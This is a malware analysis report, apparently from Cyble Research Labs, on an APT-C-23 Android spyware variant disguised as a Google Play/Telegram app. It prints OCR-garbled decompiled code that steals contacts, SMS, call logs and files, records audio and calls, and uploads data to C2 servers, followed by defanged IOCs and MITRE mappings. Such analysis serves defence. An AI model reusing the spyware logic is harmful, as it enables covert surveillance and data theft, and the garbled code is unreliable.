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During our routine threat hunting exercise, Cyble Research Labs came across a Twitter post mentioning a
new variant of Android malware used by APT-C-23.

This Advanced Persistent Threat (APT) group was first identified in 2017, where they targeted more than 100
devices from Palestine.

This variant calls itself Google Play _Installer70800098212067 16096 to trick users into thinking it's an APK
related to Google Play.

Cyble Research Labs downloaded the sample and identified that APT-C-23, also known as “the two-tailed
scorpion,” targets the Middle East with this version of Android malware. This malware can steal sensitive
information like Contact data, SMS data, and files from the infected device.

The delivery mechanisms used by the Threat Actors (TAs) are through phishing or via a fake Android app
store; this application has an icon that is similar to the Telegram app.

Once the malware is successfully executed on the affected Android device, it can perform several malicious
activities without the user’s knowledge. These activities include taking pictures, recording audio, disabling
WiFi, stealing call logs, stealing SMSs, stealing Contact data, and steal files of a wide range of extensions
(PDF, doc, docx, ppt, pptx, xls, xIsx, txt, text, jpg, jpeg, png), etc.

The malware can also make calls without the user’s knowledge, delete files from the device, record the victim
device’s screen, take screenshots, read the text content, and record incoming and outgoing calls in
WhatsApp. Additionally, the malware checks for telecom operating out of the Middle East and specifically
targets them.

In 2020, APT-C-23 was also responsible for the attack on Israeli Defense Forces (IDF).

Technical Analysis

APK Metadata Information

o App Name: Google Play Installer
o Package Name: org.telegram.light
o SHA256 Hash: c8d51db4b2171f289de67e412193d78ade58ec7a7de7aa90680c34349faceee?2

Figure 1 shows the metadata information of the application.
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We have outlined the flow of the application and the various activities conducted by it. Refer to Figure 2.

¢ The application has a similar icon as Telegram official app.

o The application asks for Contacts, call logs, and SMS permissions.
e The application asks users to grant admin rights.

o The application asks the users to allow access to notifications.
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Figure 2 Application Start Flow

Upon simulating the application, we observed that it requests users for permissions to access Contacts, Call

logs, and SMS data. Refer to Figure 3.
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Figure 4 shows the malware asking users for device admin activation. Once the malware gains admin rights,
then it can enhance its features.
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Figure 5 shows that the malware asks the users to enable notification access for the application. Once the
application gains notification access, it can read all notifications on the device, including SMS data.
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Upon receiving notification access, the application prompts users asking for permission to install 3" party
applications. Once it gains this permission, the application will be able to install other applications or update
itself. Refer to Figure 6.
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Figure 7 shows that after getting the required permissions, the malware opens a Ul that is similar to the
official Telegram app.
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Figure 7 Similar Ul as Telegram App

Telegram Messenger
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Manifest Description

Voicemail requests thirty-five different permissions, of which the attackers can abuse eighteen. In this case,
the malware can:

Read, delete or modify SMSs, call logs, and Contact data.

Make calls without user interaction

Delete SMS data

Kill background processes of other apps

Receive and send SMSs

Reads current cellular network information, phone number and the serial number of the affected phone,
the status of any ongoing calls, and a list of any phone accounts (for example: firmware accounts such
as Samsung account) registered on the device.

Read, delete or modify the files on the device’s external storage

Disable the keylock and any associated password security measures such as biometric verification.

We have listed the dangerous permissions below.

Permissions Description
READ_SMS Access phone messages.
READ_CONTACTS Access phone contacts.

KILL_BACKGROUND_PROCESSES Allows applications to kill the background processes of other apps.

CALL_PHONE Allows an application to initiate a phone call without going through
the Dialer user interface to confirm the call.

RECEIVE_SMS Allows an application to receive SMS messages.

SEND_SMS Allows an application to send SMS messages.
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READ_CALL_LOG

Access phone call logs.

READ_PHONE_STATE

Allows access to phone state, including the current cellular network
information, the phone number and the serial number of this phone,
the status of any ongoing calls, and a list of any Phone Accounts
registered on the device.

REORDER_TASKS

Allows the app to push tasks to the foreground and background.

WRITE_CONTACTS

Allows the app to modify the device’s contacts data.

WRITE_EXTERNAL_STORAGE

Allows the app to write or delete files to the external storage of the
device.

READ_EXTERNAL_STORAGE

Allows the app to read the contents of the device’s external
storage.

RECORD_AUDIO

Allows the app to record audio with the microphone, which can be
misused by the attackers.

PROCESS_OUTGOING_CALLS

Allows the app to process outgoing calls and modify the dialling
number.

WRITE_CALL_LOG

Allows the app to modify the device’s call log.

DISABLE_KEYGUARD

Allows the app to disable the keylock and any associated password
security.

READ_PROFILE

Allows the app to read personal profile information such as name
and contact information stored on the device.

SYSTEM_ALERT_WINDOW

Table 1 Permissions’ Description

Allows the app to draw on top of other applications.

The below image shows that the malware has defined services that can be used to read notification data on

the device. Refer to Figure 8.
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Figure 8 Service to Read Notifications

The below image shows that the malware has defined services that can be used for Accessibility services.

Refer to Figure 9.
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Figure 9 Service Defined for Accessibility

The below image shows that the malware has a defined receiver that can be used to gain system-level device

administration access. Refer to Figure 10.
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Figure 10 Receiver Defined to Gain Admin Rights
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Source Code Description

The below images show that the malware checks for various telecom companies operating in the Middle
East. Refer to Figure 11.

if

e e e e [C [C

e

}

(Siml_Operator.contains("JAWWAL®)) {
Siml_Operator = “':
spManager.a(*COMMISSION", Siml_Operator);

(Sim2_Operator.contains("JAWWAL")) {
Sim2_Operator = "Jawwal®;
spManager.a(*COUNTRY", Sim2 Operator);

(Siml_Operator.contains("orange®)) {
Siml_Operator = |Orange];
spManager.a(*COMMISSION", Siml_Operator);

(Sim2_Operator.contains("orange®)) {
Sim2_Operator = "Orange";
spManager.al*COUNTRY", Sim2_Operator);

(Siml_oOperator.contains("Cellcom* )] {
Siml_Operator = ;
spManager.al"COMMISSION", Siml_Operator);

(Sim2_operator.contains("Cellcom*)) {
Sim2_Operator = "Cellcom";
spManager.a("COUNTRY", Sim2_Operater);

(Siml_Operator.tolLowerCase().contains("wataniya®) || Siml_Operator.tolowerCase().contains("ooredoo®)) {
Siml_Operator = '1E¢r’edoc';

spManager.a(* COMM N, Siml_Operator);

(Sim2_Operator.tolLowerCase().contains("wataniya®) || Sim2_Operator.tolowerCase().contains("ocoredoo®)) {

Sim2_Operator = "Ooredoo”;
spManager.al®*COUNTRY", Sim2 Operator);

Figuré 11 Checks for Sim Operator Company
The code given in Figure 12 shows that the malware is capable of reading Contact data.

private woid al) {

}

Cursor plur;
try {

18t=String> contacts = mew Arraylistes|);
cantentﬂesulver cr = getContentResolver();
Cursor cur = cr.querylContactsContract.Contacts.CONTENT_URI, aull, null, null, sull);
if (cwr |= null &% cur.getCount() = a) {

while (cur. mve'l'oﬂe:rt\"] {

Str id = cur.getStringlcur.getColumnIndex(*_id*)];

String name = cur,getStringlcur. unt:olumtndwlf dl-"'F']"r name®
if (Integer.parselnt{cur. getStringlcur . getColumnlndex(*has_phong mm:u.-r-JJ] = 0 &% [pCur = er.query(ContactsContract  CommonDataKin

-hw:. {acur povercneiil) {
contacts.add(*Name: © + name + °, Phone No: ° + plur.getString(pCur.getColumnlndex(“datal®]] + “\n* 1]

plur.clasal);

cur.closel];
1
g tslong = Long,valueofik. hil);
f bib.fS139g, "contacts_" + tsLong + ".con', false, String.valusOf (contaces));
tring inputFile = b. fS!.QQ-g + "Jjeontacts_* #+ tsLong + *.con®;
:nn\:rusedFﬂe =b. f5129|; + "Joontacts_" 4 TILeng £ ".Zip":
ale _trusl.

k. a':tlns, €.8.8.8.8.8(this.f4086c) .d(" APT_SET_ACCOUMT_NWICKMAME® ) + *func/comtacts®, inputFile, compressedFile, true, true]il

L4 (o e e (o

Log. eI1h1s faoash, exc.getMessagel), exc);

Figure 12 Reads Contacts Data
The code shown in Figure 13 demonstrates that the malware is capable of reading SMS data.
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iy {
1at=Smalt1ler LatFactor = mew ayLa st
ContertResclver cr » getContentRasalver
EeSErING> MRSSAQES = mEw Arraylistes
Cursor c2 = cr. querylUri parse(*content: /fems/*), sull, nell, soll, nell);

Sratus = nall;
if (c2.moveToFarstl]) {

int 12 = O

for (imt vomalFactor

= c2.getCount(); 12 < totalFactor; totalFactor = totalFactor)
hils

chyFactor.c [cd.getStringlcy, getColumnlndexOr Throw " _:
ohjFactor .alc2.getStringlc2. getColumnindexdr Theowl
cbyFactor .dicZ. getStringic. getColumnIndex e The
cbjFactor.e(c.getStringlci. getColumnindes (*road-)
ohiFactar § {eZ . getlolumnd ndex e Throw!

} oelse {
objFactor bl sent®]);
¥

cd.movaToMeat[);

 date = al ~walusOf (objFactor.ei]) . longvaluel), *dd/m yyyy hh:em:es. 555%);

if lobjmacter.di).equalsi=171] {
Status = "Raad”;

b elue if [ebjFacter. di) . equala{ o)) {
Status = "Mot Read®;

L

llllllml.l-ddi‘ nType: * & shyjFsctor.bl] + “ynFrom:® « objFsctor.all « *\n

LetFactar = LstFactor;
cr = grj
}
c2.closel);
CurrantTimg = Loaluaof (kBN
f.bib.f5140h, *mess_* + CurrentTime + *“.sms*, false, String.valusOf imessages));
inputFile = b.fS1a0h + " /mess_" + QurrentTime + ".sms";
filePath = b.f3140h & */mess_* + CurrentTime + * H
d.slgetApplicationContent|), inputFile, filePath, tree);

LL3
tring NEW_SEFVER_DEVICE_URL = #.4.4.8.4.80this. fasech) .d("aP1_SET_ACCOUNT MIONMAME® | ;
k.althis, MNEW_SERVER DEVICE URL + *fumc/msssages”, inputFile, filsPath, tres, trus);
ist<File= files = f. alnew File(b, I51a0m], = sms"):

- " L LT
far o 2 1 files) {
filePathl = f2.getabsolutePath();

tring compressedFilez = filsPath2, substring(o, filsPath2,lastIndexof(*.*)) + * z:ip*

a.a'«'.levl.:uuoftmuati'. f1lePath2, compressedrilel, tree);

Figure 13 Reads SMS Data

The code shown in Figure 14 demonstrates that the malware is capable of reading CallLogs data from the

device.

82}
le(net.axel.app.utils.b.m + */CalllLogs®).exists(])) {
new File(net.axel. app.utils.b.a + " /CallLags® ) .delete();

« managedCursor. getColumnindex (" typa®);
= managedCursor.getColumnIndex (" date");
int duration = managedCursor.getColumnIndex(”duration®)
sb.append(*Call Details :"};

Tl age LUl SO o ve [ ONE T 1] L
tring phhumber = managedOursor.getString(number?);

Strimg callType = managedCurser.getString(typel;

String callDuratien = managedCursor.getStringlduration);
int dircede = Integer.parselnticallTypel;
i e ode 1l i

dir = "Incommng®;
I else if (dircode == 2] {

dir = "Outgoing®;
} else if (dircode == 3} {

dir = "Missed*;
I else if (dircode = 5) {

dir = dircods '= 6 7 null : *Blecked:
b oelse {

dir = "Rejected";

ary (Calllog.Calls. CONTENT LRI, null, null, null, null);

callDayTime = new DatelLong.valuedf (managedCursor.getStringldate)).longvaluel));

T
| sb.append(*\nhumber: * + phNumber + * \nCall Type: " + dir = " ‘nDate: * + callDayTime + ° \nCurationis): * + callDuration + "in----J

L1
number = numberz;
try {

f.binet.axel.app.utils.b.p, "clogs.nez®, true, dir « *||* + callDayTime + *||* + callDuration + *||* + phiumber);

} cateh (Exception e3) {

Figure 14 Regds EJaII Logs

The code shown in Figure 15 demonstrates that the malware is capable of calling any number without the

user’s knowledge or interaction.
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private void b(String phone, Context context) {
= 1 = - 3 u ||:|;

int slot = O;
if (Mumber.equals("1")) {

slot = ©;
1} else if (Mumber.equals("2"))Q{
slot = 1;
I
Intent callIntent = new Intent("android.intent.action.CALL"); Figure
callIntent.setFlags(2628468224) ;

callIntent.setDatalUri.parse(String.format("tel:%s", Uri. encod 1;

callIntent.putExtral"simslot", slot);

1+ .

if (androidx.core.content.a.a(context, "android.permission.CALL PHONE") == 0] {
context.startActivity(callIntent];

15 Can Make Calls
The below code shows that the malware is capable of capturing pictures without user interaction. Refer to
Figure 16.

private -t alstra path, int wndth, int height) {
Image_Mama;
; strMyImagePath = null;
try 1
i

I-'Mdmmaqar getSystemSarvice ["audio® ) ) setStreamutall, false :I
}
} eatch (Ex T e2) {
1
try 1
Bitmap unscaledBitmap = g.alpath, width, height, g.a.FIT);
if (unscaledi tmap.geteidth(] <= width) {
if (unscaledBitmap.getHeight(] <= height) {
unscaleds: tmap.recyclall;
return path;

}

1

Bitmap scaledBitesp = g.alunscaledBitmap, width, height. g.a.FIT);
solder = new =1 nat. axel. app.utils.bonl;

1 r L, ME1STHL )
Leg.elfagroh, *isFolder.exists()®];
mrolder . mkdirsl) ;

if (this. faegef == o) { . .
Tmape.tiame = -Back_* + k.A() + =.can; Figure 16 Capture Pictures

I el {
‘ ;:&qa_m«‘m = *Front_* + k.hl] + ".can";

L e . . T i

I t str = net.axel.app.utils.b.n + */* + Ime_hﬂn;l
. e 1;w. :
smfal dac ot b Bath A

1 Lo (mFolder . getah

olutePathi));

2 = mew solutePathl). Image Mame);
utput fos = new stputStreanm($2) ;
scaledBi tmap. compress (Bl teap. CompressForaat. JPEC, 70, fosl:
foa.flushi ) ;
fos.closal);
scaledim tmap. recyclel];
b cateh | a3) {
a3, printStackTracel);
}
if (striyImagePath == null] {
return path;
!

f.e(Environment.getExternalStoragelirectory() « */androidsdata/® + k.rithis.fasaod) )
w. Cpn

The code shown in Figure 17 demonstrates that the malware can steal specific files from the device based on
the various extensions shown in the below table.

File Type Description

.pdf Portable Document Format

.doc DOCument
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.docx DOCument

.ppt PowerPoint presentation

.pptx PowerPoint presentation

Xls Microsoft Excel spreadsheet file
Xlsx Microsoft Excel spreadsheet file
xt TeXT

text TeXT

Table 2 File Type Description

> alFile parentDir) {
A List le> inFiles = new Arrayliste=();
File[] files = parentDir.listFiles();
if (files = null) {
for (File file : files) {
if (file.isDuirecteryi)) {
inF1les.addallialfile));
b oelse {

private List<Fi

ref]

ing fileMame = file.getMame().tolowerCase();
deuble length = (double) file.length();
Double.isNad(lengthl ;

Od

if ((fileMame.endswith(®.pdf=)

Il filename.endskathi®.doc®) || fileNeme.endswaith(®.docx®) || fileName.endswWith!(*.ppt®) Ifilnl‘-lan‘l

ALTELT

}

return 1nFiles;

F‘igure 17 Steals Specific Files

The below code demonstrates that the malware is capable of reading WhatsApp text data and recording
incoming and outgoing WhatsApp calls. Refer to Figure 18.

public wvoid alContext contast §ng M r L {
ntent recordinglntent = new [ntenticontext, LcLass

recardinglatent, putExtra 2 H

recardingintent, putBxtra

resardimglntent, putBxtral s

comteNt. StartService| recard

*) &5 sbn.gethotificationl ) sentras.getSiringi-android. text”).contains igetResources (). getString R, string.1ncome current callill i)

T
U TR e FTTY A

i, F 28408 . 41 " CUTGOING WHATSARE cagle, falee):

this, {4507  sropSarvice (new Intent|this ddisod, 90S 00D, claws));

} eateh (Excopt: w2
e printStackTracel )

}

Figure 18 Reads and Records WhatsApp Data

The below code demonstrates that the malware is capable of recording audio from the device. Refer to Figure

19.
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private boolean al :r;ﬂj-nunb&r. string callType, String recordType) {
Log.dithis.fs5078b, "startRecording®);
try {
File root = new Fila(net.axel.app.utils.b.fs1411);
if (!root.exists()) {
root.mkdirs();

n?f;r: fileName_= net. axel app.utals.b.fS1411 + */* + callType + °_* + number + *_* + Long.valueOf(k.h()] + * npa";

r : "+ recordType);
if fracordType aquals("real")) {

f507sf . setAudioSource(l) ;
} else {

f5075f . setludioSource(7) ;

!

fS5075f . setOutputFormat(1);
fS075f . setAudioEncoder (1) ;
f5075f . setOutputFile (fileName) ;
f5075f .prepare():

new

return true;

} catch (Exception a2) {
e2.printStackTracel();
return false;

(this, new Handler(Looper.getMainLaoper())), looa)

}

Figure 19 Records Audio
The below code demonstrates that the malware is capable of disabling WiFi connections. Refer to Figure 20.

puhllc void b() {

wifiManager.setWifiEnabled(false) ;I Figure 20 Disabled Wi-
. 15.1, 20,

I else if (!wifiEnabled) {
k.F(this.j, 5J;

b
I
I
Fi
The below code demonstrates the URL’s connectivity to post the data to the server. Refer to Figure 21.
public veid onPostExecute(String feed) {
e.4.a.4.a8 unused = k.f5168b = e.a.a.a.a.a(this.f5205b) ;
try {
tring url = feed.substring(feed.index0f(*=") + 1).triml).replaceFirsti® *, "-").replaceFirst(* *, ".").toLowerCase(};

if (Patterns JWEB_URL, matcherlurll matches()) {
{= coumTSs prl).
f' + url +

"Sversion/®;
rver
k f5165b. a('uPI &tr IHAJBbtﬂ P:u . neuServerLFl.- b. a(th:s f5205b) + */*);
if (this.f5206c booleanvalue()) {
if (1k.fS165b.a("USER_NICKNAME")) {
k.Iithis.f5205hb);
}
k.mithis.fs208b, 0);
k.althis.fs208b, 5);
return;
}
k.mithis.fs2058h, o);
k.althis.f5208b, 5);
return;
}
cancel(true) ;
if (isCancelledi) && k.fS171d = ) {
k.b();
k.althis.fs205b, this.fs206c);

} catch (Exception e2) {
e2.printStackTrace();
}

1
Figure 21 URL Connection
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Conclusion

APT-C-23 TA groups use Android spyware to specifically target users in the Middle East.

These TAs are constantly adapting their methods to avoid detection and find new ways to target users
through sophisticated techniques. One of the most common methods used to infect devices is by disguising
the malware as a supposedly legitimate Google application to confuse users into installing them.

Users should only install applications after verifying their authenticity and install them exclusively from the
official Google Play Store to avoid such attacks.

Our Recommendations

We have listed some essential cybersecurity best practices that create the first line of control against
attackers. We recommend that our readers follow the best practices given below:

¢ Download and install software only from official app stores like the Google Play Store.
o Ensure that Google Play Protect is enabled on Android devices.

o Users should be careful while enabling any permissions on their devices.

« If you find any suspicious applications on your device, uninstall, or delete them immediately.
» Use the shared I0OCsto monitor and block the malware infection.

o Keep your anti-virus software updated to detect and remove malicious software.
o Keep your Android device, OS, and applications updated to the latest versions.
o Use strong passwords and enable two-factor authentication.

MITRE ATT&CK® Techniques

Tactic Technique ID Technique Name

Initial Access T1444

Masquerade as Legitimate Application

T1476 Deliver Malicious App via Other Means
Execution T1575 Native Code
Persistence T1402 Broadcast Receivers
Defense Evasion T1508 Supress Application Icon
Collection T1412 Capture SMS Messages
T1432 Access Contacts List
T1433 Access Call Log
T1517 Access Notifications
T1429 Capture Audio
T1512 Capture Camera
T1533 Data from Local System
T1513 Screen Capture
Impact T1447 Delete Device Data

Indicators of Compromise (IOCs)

Indicators

Indicator
type

Description
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https://attack.mitre.org/versions/v7/techniques/T1444/
https://attack.mitre.org/versions/v7/techniques/T1476/
https://attack.mitre.org/versions/v7/techniques/T1575/
https://attack.mitre.org/versions/v7/techniques/T1402/
https://attack.mitre.org/versions/v7/techniques/T1508/
https://attack.mitre.org/techniques/T1412
https://attack.mitre.org/techniques/T1432/
https://attack.mitre.org/versions/v7/techniques/T1433/
https://attack.mitre.org/versions/v7/techniques/T1517/
https://attack.mitre.org/versions/v7/techniques/T1429/
https://attack.mitre.org/versions/v7/techniques/T1512/
https://attack.mitre.org/versions/v7/techniques/T1533/
https://attack.mitre.org/versions/v7/techniques/T1513/
https://attack.mitre.org/versions/v7/techniques/T1447/

c8d51db4b2171f289de67e412193d78ade58ec7a7de7aa90680c34349faeeee2 SHA256  Malicious APK

hxxps://linda-gaytan[.]Jwebsite URL Communicating
URL
hxxps://cecilia-gilbert[.]Jcom URL C2 Domain
hxxps://david-gardiner[.Jwebsite URL Communicating
URL
hxxps:/ljavan-demsky[.]Jwebsite URL C2 Domain
About Us

Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from
cybercrimes and exposure in the Darkweb. Its prime focus is to provide organizations with real-time visibility
to their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been
recognized by Forbes as one of the top 20 Best Cybersecurity Start-ups To Watch In 2020. Headquartered in
Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence. To learn
more about Cyble, visit www.cyble.com.
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